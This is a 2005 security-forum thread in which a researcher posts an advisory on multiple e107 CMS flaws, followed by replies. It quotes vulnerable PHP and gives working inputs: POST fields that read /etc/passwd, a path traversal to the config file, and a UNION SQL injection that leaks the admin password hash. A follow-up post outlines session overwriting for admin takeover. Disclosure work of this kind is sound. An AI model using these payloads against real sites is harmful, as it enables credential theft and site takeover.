Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 25, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 225
Members: 0
Total: 225
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> e107 -> Multiple vulnearabilities in e107 cms
Post new topic  Reply to topic View previous topic :: View next topic 
Multiple vulnearabilities in e107 cms
PostPosted: Fri May 06, 2005 5:59 pm Reply with quote
Heintz
Valuable expert
Valuable expert
 
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




http://www.securityfocus.com/archive/1/397653/2005-05-03/2005-05-09/0

Software: http://www.e107.org
Author: Heintz
Advisory origin: http://www.waraxe.us
Software bugtracker: http://e107.org/e107_plugins/bugtracker2/bugtracker2.php?0.bug.558

e107 v 0.617
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
search.php line ~ 142
if($_POST['searchquery']){
echo "<div style='border:0;padding-right:2px;width:auto;height:400px;overflow:auto;'>";
unset($text);
extract($_POST);

here extract() registeres and overwrites any variables in _POST array - this is worse
than
registered globals.

few lines forward:
if(file_exists($search_info[$key[$a]]['sfile'])){
@require_once($search_info[$key[$a]]['sfile']);
$ns -> tablerender(LAN_195." ".$search_info[$key[$a]]['qtype']." : ".LAN_196.":
".$results,

$text);
}

so we need to POST following variables:
searchquery=aaa
search_info[0][sfile]=/etc/passwd
searchtype[0]=0
searchtype[1]=0


lets look forward

top.php line ~79
sql queries before it has quotes around variable and those cant be braken out, but
in this case there isnt need to send any quotes in variable:

$replies = $sql2 -> db_Select("forum_t", "*", "thread_parent=$thread_id");

top.php?[INJECTION].active.all.[INJECTION]
though this requires mysql version to support subqueries, to have any use of this.

lets look more:
when downloads are handled/sent by php (this option turned on)

request.php ~87

send_file(e_FILE."public/".$download_url);

when theres not "http://" or "ftp://" in file to be downloaded, then
file is read and sent to user.

request.php?../../e107_config.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

downloaded CVS and things are better but not enought,
this advisory continues with CVS version of software.
CVS is subject to change however.

lets start with less dangerous features of software:

e107_files/resetcore.php ~199

if (isset($_POST['reset_core_sub']) && $_POST['mode'] == 1) {

$a_name = preg_replace('/\\W/i', '', $_POST['a_name']);
$a_password = preg_replace('/\\W/i', '', $_POST['a_password']);

if (!$result = mysql_query("SELECT * FROM ".$mySQLprefix."user WHERE user_name='{$a_name}'
AND

user_password='{$a_password}' AND user_perms=0")) {
exit;
}

if reset_core_sub and mode variables are set and sql query syntax is ok,
note i sayd query *syntax* - no data needs to retrieved with query.
then we get cms core configuration as a good info which we are going into.

lets move on

forum_viewforum.php ~196

if($sql -> db_Select("forum_t", "*", "thread_forum_id='".$forum_id."' AND thread_parent='0'


ORDER BY thread_s DESC, thread_lastpost DESC, thread_datestamp DESC LIMIT $from, $view")){

forum_viewforum.php?5.[INJECTION]#

lets go on

request.php line ~120

if ($type == "file")
{
$qry = "
SELECT d.*, dc.download_category_class FROM #download as d
LEFT JOIN #download_category AS dc ON dc.download_category_id = d.download_id
WHERE d.download_id = $id;
";

request.php?1/**/UNION/**/SELECT/**/null,null,concat(user_password,0x687474703A2F2F00),null,null,

null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHE

RE/**/user_id=1

will try to redirect your browser to <adminhash>http://
in HTTP Location header.

and on

e107_handlers/upload_handler.php ~38


if ($pref['upload_storagetype'] == "2" && $avatar == FALSE) {
extract($_FILES);
for($c = 0; $c <= 1; $c++)


with enought knowlege about HTTP it would be possible to
"rewrite" _FILES to load local file to db (not very useful i guess, but read on)


extract() is able to rewrite _SESSION array, this is disasterous because this is
one array that is almost always trusted to contain valid data.
so we can enter admin hash and id to it and we are admin, and this leads to
own php code execution - which makes things real nasty.

Greets
~~~~~~~
slimjim100, fulvioo, Gotisch, KuerbY, legion and Torufoorum.
Special greets go to Waraxe.

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Fri May 06, 2005 7:52 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Nice advisory, Heintz! Congratulations! Cool
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat May 07, 2005 6:55 am Reply with quote
xtremeshell
Regular user
Regular user
 
Joined: Mar 21, 2005
Posts: 6
Location: Somewhere In Hell !!




Yeah.. nice adv bro... Maybe I'll wait till someone wrote the xplo Smile hehhehehehehe....


thX
View user's profile Send private message
PostPosted: Sun May 08, 2005 7:43 am Reply with quote
y3dips
Valuable expert
Valuable expert
 
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




nioce adv heintz,
not for kiddies i think Smile

coz thereis no real life exploit in the adv Laughing Laughing Laughing

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Sun May 08, 2005 9:27 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Dats a keeper Razz

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Sun May 08, 2005 11:29 am Reply with quote
Heintz
Valuable expert
Valuable expert
 
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




y3dips wrote:
nioce adv heintz,
not for kiddies i think Smile

coz thereis no real life exploit in the adv Laughing Laughing Laughing



indeed, POST is often enought to make it "difficult" for many.
i can give guidelines what to do, first find a way to capture your redirect
headers when you do the injection:
Code:

request.php?1/**/UNION/**/SELECT/**/null,null,concat(user_password,0x687474703A2F2F00),
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
/**/FROM/**/e107_user/**/WHERE/**/user_id=1


http://web-sniffer.net/ .. nothing better than online http tool Wink
http://livehttpheaders.mozdev.org/ - very nice plugin (works with firefox), been using it a while.

next step is to make a htlm form (easy way to poison POST variables).
now find a place you can write (extract()) your own _SESSION[e107cookie]=<some value that might be of use>

the value that might be useful is something that should be figured out self..
otherwise it gets boring
(i think its self evident but here goes: all PM-s begging more info, are just ignored)

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sun May 08, 2005 11:35 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Quote:
indeed, POST is often enought to make it "difficult" for many.
i can give guidelines what to do, first find a way to capture your redirect
headers when you do the injection:
Code:

request.php?1/**/UNION/**/SELECT/**/null,null,concat(user_password,0x687474703A2F2F00),
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
/**/FROM/**/e107_user/**/WHERE/**/user_id=1


http://web-sniffer.net/ .. nothing better than online http tool Wink
http://livehttpheaders.mozdev.org/ - very nice plugin (works with firefox), been using it a while.

next step is to make a htlm form (easy way to poison POST variables).
now find a place you can write (extract()) your own _SESSION[e107cookie]=<some value that might be of use>

the value that might be useful is something that should be figured out self..
otherwise it gets boring
(i think its self evident but here goes: all PM-s begging more info, are just ignored)


Thanks Heintz that saved me a bit of time. Smile

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Tue May 10, 2005 7:02 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Congratulations, Heintz, you got multiple credits from SF vuln database:

http://www.securityfocus.com/bid/13572/credit/
http://www.securityfocus.com/bid/13573/credit/
http://www.securityfocus.com/bid/13576/credit/
http://www.securityfocus.com/bid/13577/credit/

Very Happy
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed May 11, 2005 9:02 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Congrats!!

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Thu May 12, 2005 2:09 am Reply with quote
y3dips
Valuable expert
Valuable expert
 
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




Heintz wrote:

(i think its self evident but here goes: all PM-s begging more info, are just ignored)


OOT maybe , but i like your footnote about it Smile

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
Multiple vulnearabilities in e107 cms
  www.waraxe.us Forum Index -> e107
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.089 Seconds